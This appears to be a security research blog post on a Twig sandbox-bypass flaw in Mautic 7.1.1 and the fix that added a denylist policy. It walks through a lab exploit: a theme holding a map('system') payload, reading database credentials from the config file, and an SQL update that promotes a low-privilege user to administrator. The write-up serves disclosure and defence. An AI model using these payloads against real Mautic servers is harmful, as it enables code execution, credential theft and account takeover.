Mautic lets certain users upload custom themes for emails and landing pages. Themes are just Twig templates. Twig templates that aren’t sandboxed are just PHP with extra steps.
We built a lab on Mautic 7.1.1, uploaded a modified theme, and opened the email builder. That was enough to run id on the server.
Root Cause: A Sandbox That Wasn’t There
Here’s what the official developer documentation says about theme rendering, verified directly from devdocs.mautic.org:
Mautic renders User-uploaded Theme templates in a restricted Twig sandbox environment. The sandbox blocks certain functions and filters that could enable remote code execution, data leakage, or filesystem probing.
That’s the intent. A theme can be uploaded by a marketing user, not a developer — so Mautic is supposed to treat its Twig as untrusted input, and enforce that with Twig’s SandboxExtension: a policy object that decides, per template, which tags, filters, and functions are allowed to run.
So why did our theme’s system() call execute without so much as a warning?
Because in the affected versions, that policy object didn’t exist yet.

What 7.1.2 Actually Added
The fix introduces a file that didn’t exist before: ThemeSandboxPolicy.php. Its own docblock is honest about what kind of sandbox it is:
/**
* Denylist-based sandbox policy for theme templates.
*/
final class ThemeSandboxPolicy implements SecurityPolicyInterface
{
private const DENIED_FILTERS = [
'map', // {{ ['id']|map('system')|join }} -> RCE
'reduce',
'filter',
];
That comment isn’t paraphrased. It’s the Mautic maintainers documenting, in their own fix, the exact payload shape we used before we’d seen a single line of this file:
{{ ["id"] | map("system") | join }}
We didn’t reverse-engineer the vulnerability from a hint in a changelog. We found it by uploading a theme and clicking a button. The fix commit just confirms it.
What the New Sandbox Actually Restricts
checkTagsAreAllowed() and checkFiltersAreAllowed() now throw if a template calls map, reduce, filter, or a denied function. That denylist includes source()and configGetParameter(), which leaks the DB password, secret key, and other application parameters straight from Twig, no filesystem access required.
For everything we needed — command execution, file read via system(), and later a raw database connection — the filter and function denylist alone is what stood between 7.1.1 and 7.1.2.
Lab: Reproducing 7.1.1 in Isolation
We pinned the lab to Mautic 7.1.1 — the last release before the sandbox policy existed — running behind Apache with a MariaDB backend, orchestrated with Podman.
# podman-compose.yml
services:
mautic-db:
image: docker.io/library/mariadb:10.11
environment:
MYSQL_ROOT_PASSWORD: rootpass
MYSQL_DATABASE: mautic
MYSQL_USER: mautic
MYSQL_PASSWORD: mauticpass
mautic:
build:
context: .
dockerfile: Dockerfile.mautic
depends_on:
- mautic-db
environment:
MAUTIC_DB_HOST: mautic-db
MAUTIC_DB_NAME: mautic
MAUTIC_DB_USER: mautic
MAUTIC_DB_PASSWORD: mauticpass
ports:
- "127.0.0.1:8080:80"
# Dockerfile.mautic
FROM docker.io/mautic/mautic:7.1.1-apache
Two commands to get a running instance:
podman-compose up -d
./install.sh
install.sh runs Mautic’s own mautic:install console command non-interactively, so the install wizard never has to be clicked through by hand. It leaves us with a working instance and a first Administrator account.

Simulating a Real Attacker’s Starting Point
A CVSS score of 9.9 with PR:L means the attacker doesn’t start as an administrator. So neither did we.
We created a second account, priv-esc, and gave its role exactly two permission groups: Themes (create/edit) and Emails (create/edit). Nothing else. No user management, no plugin access, no direct database tooling — just what a marketing team member would plausibly have.

Starting page for user Francesco Verdi (priv-esc) having role Theme editor only

Every step from here on is done logged in as priv-esc, not the administrator we set up during install.
Exploitation: From Theme Upload to Administrator
Step 1 — A Theme Is Just a ZIP File
We took Mautic’s own built-in Sparse theme, downloaded it, and changed two things: config.json, to give it a distinct name, and email.html.twig, to add one line.
{
"name": "Sparse modified",
"author": "Mautic",
"authorUrl": "http://www.mautic.com",
"builder": ["grapesjsbuilder"],
"features": ["email"]
}
{{ ["id"] | map("system") | join }}
We uploaded it through Themes → Upload. No validation step rejected it. No warning was shown. It just became a theme like any other.

Step 2 — Triggering the Render
Uploading a theme doesn’t execute it. Something has to render it first.
We went to Channels → Emails → New, picked “Sparse modified” as the template, and opened the builder.
That’s the trigger. The builder has to render the theme to show a preview — and rendering means Twig.
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Step 3 — What Else Is Reachable From www-data?
system() doesn’t care what we ask it to run. We asked it to read Mautic’s own configuration file.
{{ ["cat /var/www/html/config/local.php"] | map("system") | join }}
'db_host' => 'mautic-db',
'db_user' => 'mautic',
'db_password' => 'mauticpass',
'secret_key' => 'a15d98da823d751f4a0a5219123f4afbd90eb254074b1cea07518a3c0db70bcd',
priv-esc has no permission to view database settings anywhere in Mautic’s UI. The theme upload permission just handed them over anyway.

Step 4 — The Database Doesn’t Know About Mautic’s Permission System
Mautic’s role-based access control lives entirely in the application layer. The database has no idea priv-esc is restricted to Themes and Emails — it just sees a valid MySQL login.
We used the stolen credentials to connect from inside the same system() primitive, piping a small PHP script through base64 | php to avoid quoting issues inside the Twig string:
{{ ["echo <base64> | base64 -d | php"] | map("system") | join }}
The script opens a PDO connection to mautic-db and reads the users and roles tables directly:
1|mautic|1
2|priv-esc|2
ROLE 1|Administrator|1
ROLE 2|Theme editor only|0
Two facts fall out of this query. priv-esc is role_id = 2, is_admin = 0 — exactly the restricted role we built it with, confirming the low-privilege precondition the CVSS score assumes. And role_id = 1 is Administrator.
We now had everything needed to answer the only question left: does the database enforce anything the application doesn’t?
{{ ["echo <base64> | base64 -d | php"] | map("system") | join }}
$pdo->exec("UPDATE users SET role_id = 1 WHERE username = 'priv-esc'");
rows_updated=1
confirm: 2|priv-esc|1

Francesco Verdi (priv-esc) logged out, logged back in, and had the full Administrator sidebar.

Impact: What CVSS 9.9 Actually Buys an Attacker
The advisory’s own numbers: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H, 9.9 out of 10. PR:L is the detail worth checking against what we actually did, not just what the score implies.
PR:L doesn’t mean “any low-privilege user.” It means whatever the assigned role happens to grant. In our case that was two permission groups — Themes and Emails — chosen to represent a marketing user, not an administrator. Nothing about that role suggested database access, credential exposure, or account management.
It got all three anyway.
That’s the part the score can’t fully express: PR:L describes the entry cost, not the ceiling. Once system() runs as www-data, the attacker isn’t operating inside Mautic’s permission model anymore. They’re operating as the web server. Mautic’s roles, its permission matrix, its “Theme editor only” label — none of it exists at that layer. The database doesn’t check Mautic roles. The filesystem doesn’t check Mautic roles.
So the real gap between PR:L and full Administrator wasn’t a chain of escalations. It was one UPDATE statement, using credentials the same low-privilege account had just read out of a config file it was never supposed to see.
If anything, 9.9 undersells how flat that path is. There’s no privilege ladder here — low-privilege and full-admin are separated by a single SQL query, not a sequence of bugs that each need to hold.
References
| Resource | Link |
|---|---|
| Advisory | GHSA-9fx4-7cmj-47vg |
| Fix (sandbox policy) | ThemeSandboxPolicy.php |
| Vulnerable repo | mautic/mautic |